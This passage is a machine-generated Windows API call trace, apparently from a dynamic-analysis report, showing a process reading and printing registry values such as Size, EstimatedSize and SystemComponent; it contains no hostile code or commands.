lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.620] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.620] GetProcessHeap () returned 0x2e0000 [0148.620] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.620] GetProcessHeap () returned 0x2e0000 [0148.620] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.620] GetProcessHeap () returned 0x2e0000 [0148.620] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.620] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.620] __iob_func () returned 0x7fefd702a80 [0148.620] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.620] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.620] _fileno (_File=0x7fefd702ab0) returned 1 [0148.620] _errno () returned 0xc4bb0 [0148.620] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.620] _errno () returned 0xc4bb0 [0148.620] GetFileType (hFile=0x50) returned 0x1 [0148.620] lstrlenW (lpString=" ") returned 4 [0148.620] GetConsoleOutputCP () returned 0x1b5 [0148.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.620] GetConsoleOutputCP () returned 0x1b5 [0148.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.621] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.621] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.621] lstrlenW (lpString="Size") returned 4 [0148.621] __iob_func () returned 0x7fefd702a80 [0148.621] _fileno (_File=0x7fefd702ab0) returned 1 [0148.621] _errno () returned 0xc4bb0 [0148.621] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.621] _errno () returned 0xc4bb0 [0148.621] GetFileType (hFile=0x50) returned 0x1 [0148.621] lstrlenW (lpString="Size") returned 4 [0148.621] GetConsoleOutputCP () returned 0x1b5 [0148.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.621] GetConsoleOutputCP () returned 0x1b5 [0148.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0148.621] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.621] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.621] __iob_func () returned 0x7fefd702a80 [0148.621] _fileno (_File=0x7fefd702ab0) returned 1 [0148.621] _errno () returned 0xc4bb0 [0148.621] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.621] _errno () returned 0xc4bb0 [0148.621] GetFileType (hFile=0x50) returned 0x1 [0148.621] lstrlenW (lpString=" ") returned 4 [0148.622] GetConsoleOutputCP () returned 0x1b5 [0148.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.622] GetConsoleOutputCP () returned 0x1b5 [0148.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.622] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.622] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.622] __iob_func () returned 0x7fefd702a80 [0148.622] _fileno (_File=0x7fefd702ab0) returned 1 [0148.622] _errno () returned 0xc4bb0 [0148.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.622] _errno () returned 0xc4bb0 [0148.622] GetFileType (hFile=0x50) returned 0x1 [0148.622] lstrlenW (lpString="REG_SZ") returned 6 [0148.622] GetConsoleOutputCP () returned 0x1b5 [0148.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.622] GetConsoleOutputCP () returned 0x1b5 [0148.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.622] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.622] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.623] __iob_func () returned 0x7fefd702a80 [0148.623] _fileno (_File=0x7fefd702ab0) returned 1 [0148.623] _errno () returned 0xc4bb0 [0148.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.623] _errno () returned 0xc4bb0 [0148.623] GetFileType (hFile=0x50) returned 0x1 [0148.623] lstrlenW (lpString=" ") returned 4 [0148.623] GetConsoleOutputCP () returned 0x1b5 [0148.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.623] GetConsoleOutputCP () returned 0x1b5 [0148.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.623] __iob_func () returned 0x7fefd702a80 [0148.623] _fileno (_File=0x7fefd702ab0) returned 1 [0148.623] _errno () returned 0xc4bb0 [0148.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.623] _errno () returned 0xc4bb0 [0148.623] GetFileType (hFile=0x50) returned 0x1 [0148.623] lstrlenW (lpString="") returned 0 [0148.623] __iob_func () returned 0x7fefd702a80 [0148.623] _fileno (_File=0x7fefd702ab0) returned 1 [0148.623] _errno () returned 0xc4bb0 [0148.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.623] _errno () returned 0xc4bb0 [0148.623] GetFileType (hFile=0x50) returned 0x1 [0148.623] lstrlenW (lpString="\n") returned 1 [0148.623] GetConsoleOutputCP () returned 0x1b5 [0148.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.624] GetConsoleOutputCP () returned 0x1b5 [0148.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.624] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.624] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.624] GetProcessHeap () returned 0x2e0000 [0148.624] GetProcessHeap () returned 0x2e0000 [0148.624] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.624] GetProcessHeap () returned 0x2e0000 [0148.624] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.624] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.624] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.624] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.624] GetProcessHeap () returned 0x2e0000 [0148.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.624] GetProcessHeap () returned 0x2e0000 [0148.624] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.624] GetProcessHeap () returned 0x2e0000 [0148.624] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.624] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x3160, pcbData=0x23f670*=0x4) returned 0x0 [0148.624] __iob_func () returned 0x7fefd702a80 [0148.624] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.624] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.624] _fileno (_File=0x7fefd702ab0) returned 1 [0148.624] _errno () returned 0xc4bb0 [0148.624] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.624] _errno () returned 0xc4bb0 [0148.624] GetFileType (hFile=0x50) returned 0x1 [0148.625] lstrlenW (lpString=" ") returned 4 [0148.625] GetConsoleOutputCP () returned 0x1b5 [0148.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.625] GetConsoleOutputCP () returned 0x1b5 [0148.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.625] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.625] lstrlenW (lpString="EstimatedSize") returned 13 [0148.625] __iob_func () returned 0x7fefd702a80 [0148.625] _fileno (_File=0x7fefd702ab0) returned 1 [0148.625] _errno () returned 0xc4bb0 [0148.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.625] _errno () returned 0xc4bb0 [0148.625] GetFileType (hFile=0x50) returned 0x1 [0148.625] lstrlenW (lpString="EstimatedSize") returned 13 [0148.625] GetConsoleOutputCP () returned 0x1b5 [0148.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.625] GetConsoleOutputCP () returned 0x1b5 [0148.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.626] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.626] __iob_func () returned 0x7fefd702a80 [0148.626] _fileno (_File=0x7fefd702ab0) returned 1 [0148.626] _errno () returned 0xc4bb0 [0148.626] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.626] _errno () returned 0xc4bb0 [0148.626] GetFileType (hFile=0x50) returned 0x1 [0148.626] lstrlenW (lpString=" ") returned 4 [0148.626] GetConsoleOutputCP () returned 0x1b5 [0148.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.626] GetConsoleOutputCP () returned 0x1b5 [0148.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.626] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.626] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.626] __iob_func () returned 0x7fefd702a80 [0148.626] _fileno (_File=0x7fefd702ab0) returned 1 [0148.626] _errno () returned 0xc4bb0 [0148.626] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.626] _errno () returned 0xc4bb0 [0148.626] GetFileType (hFile=0x50) returned 0x1 [0148.626] lstrlenW (lpString="REG_DWORD") returned 9 [0148.626] GetConsoleOutputCP () returned 0x1b5 [0148.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.627] GetConsoleOutputCP () returned 0x1b5 [0148.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.627] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.627] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.627] __iob_func () returned 0x7fefd702a80 [0148.627] _fileno (_File=0x7fefd702ab0) returned 1 [0148.627] _errno () returned 0xc4bb0 [0148.627] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.627] _errno () returned 0xc4bb0 [0148.627] GetFileType (hFile=0x50) returned 0x1 [0148.627] lstrlenW (lpString=" ") returned 4 [0148.627] GetConsoleOutputCP () returned 0x1b5 [0148.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.627] GetConsoleOutputCP () returned 0x1b5 [0148.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.628] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.628] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.628] __iob_func () returned 0x7fefd702a80 [0148.628] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.628] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x3160") returned 6 [0148.628] _fileno (_File=0x7fefd702ab0) returned 1 [0148.628] _errno () returned 0xc4bb0 [0148.629] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.629] _errno () returned 0xc4bb0 [0148.629] GetFileType (hFile=0x50) returned 0x1 [0148.629] lstrlenW (lpString="0x3160") returned 6 [0148.629] GetConsoleOutputCP () returned 0x1b5 [0148.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3160", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.629] GetConsoleOutputCP () returned 0x1b5 [0148.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3160", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3160", lpUsedDefaultChar=0x0) returned 6 [0148.629] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.629] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.629] __iob_func () returned 0x7fefd702a80 [0148.629] _fileno (_File=0x7fefd702ab0) returned 1 [0148.629] _errno () returned 0xc4bb0 [0148.629] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.629] _errno () returned 0xc4bb0 [0148.629] GetFileType (hFile=0x50) returned 0x1 [0148.629] lstrlenW (lpString="\n") returned 1 [0148.629] GetConsoleOutputCP () returned 0x1b5 [0148.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.629] GetConsoleOutputCP () returned 0x1b5 [0148.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.630] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.630] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.630] GetProcessHeap () returned 0x2e0000 [0148.630] GetProcessHeap () returned 0x2e0000 [0148.630] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.630] GetProcessHeap () returned 0x2e0000 [0148.630] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.630] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.630] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.630] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.630] GetProcessHeap () returned 0x2e0000 [0148.630] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.630] GetProcessHeap () returned 0x2e0000 [0148.630] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.630] GetProcessHeap () returned 0x2e0000 [0148.630] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.630] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.630] __iob_func () returned 0x7fefd702a80 [0148.630] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.630] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.630] _fileno (_File=0x7fefd702ab0) returned 1 [0148.630] _errno () returned 0xc4bb0 [0148.630] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.630] _errno () returned 0xc4bb0 [0148.630] GetFileType (hFile=0x50) returned 0x1 [0148.630] lstrlenW (lpString=" ") returned 4 [0148.630] GetConsoleOutputCP () returned 0x1b5 [0148.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.631] GetConsoleOutputCP () returned 0x1b5 [0148.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.631] lstrlenW (lpString="SystemComponent") returned 15 [0148.631] __iob_func () returned 0x7fefd702a80 [0148.631] _fileno (_File=0x7fefd702ab0) returned 1 [0148.631] _errno () returned 0xc4bb0 [0148.631] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.631] _errno () returned 0xc4bb0 [0148.631] GetFileType (hFile=0x50) returned 0x1 [0148.631] lstrlenW (lpString="SystemComponent") returned 15 [0148.631] GetConsoleOutputCP () returned 0x1b5 [0148.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.631] GetConsoleOutputCP () returned 0x1b5 [0148.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0148.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.631] __iob_func () returned 0x7fefd702a80 [0148.631] _fileno (_File=0x7fefd702ab0) returned 1 [0148.631] _errno () returned 0xc4bb0 [0148.631] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.631] _errno () returned 0xc4bb0 [0148.632] GetFileType (hFile=0x50) returned 0x1 [0148.632] lstrlenW (lpString=" ") returned 4 [0148.632] GetConsoleOutputCP () returned 0x1b5 [0148.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.632] GetConsoleOutputCP () returned 0x1b5 [0148.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.632] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.632] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.632] __iob_func () returned 0x7fefd702a80 [0148.632] _fileno (_File=0x7fefd702ab0) returned 1 [0148.632] _errno () returned 0xc4bb0 [0148.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.632] _errno () returned 0xc4bb0 [0148.632] GetFileType (hFile=0x50) returned 0x1 [0148.632] lstrlenW (lpString="REG_DWORD") returned 9 [0148.632] GetConsoleOutputCP () returned 0x1b5 [0148.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.632] GetConsoleOutputCP () returned 0x1b5 [0148.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.632] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.632] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.633] __iob_func () returned 0x7fefd702a80 [0148.633] _fileno (_File=0x7fefd702ab0) returned 1 [0148.633] _errno () returned 0xc4bb0 [0148.633] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.633] _errno () returned 0xc4bb0 [0148.633] GetFileType (hFile=0x50) returned 0x1 [0148.633] lstrlenW (lpString=" ") returned 4 [0148.633] GetConsoleOutputCP () returned 0x1b5 [0148.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.633] GetConsoleOutputCP () returned 0x1b5 [0148.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", 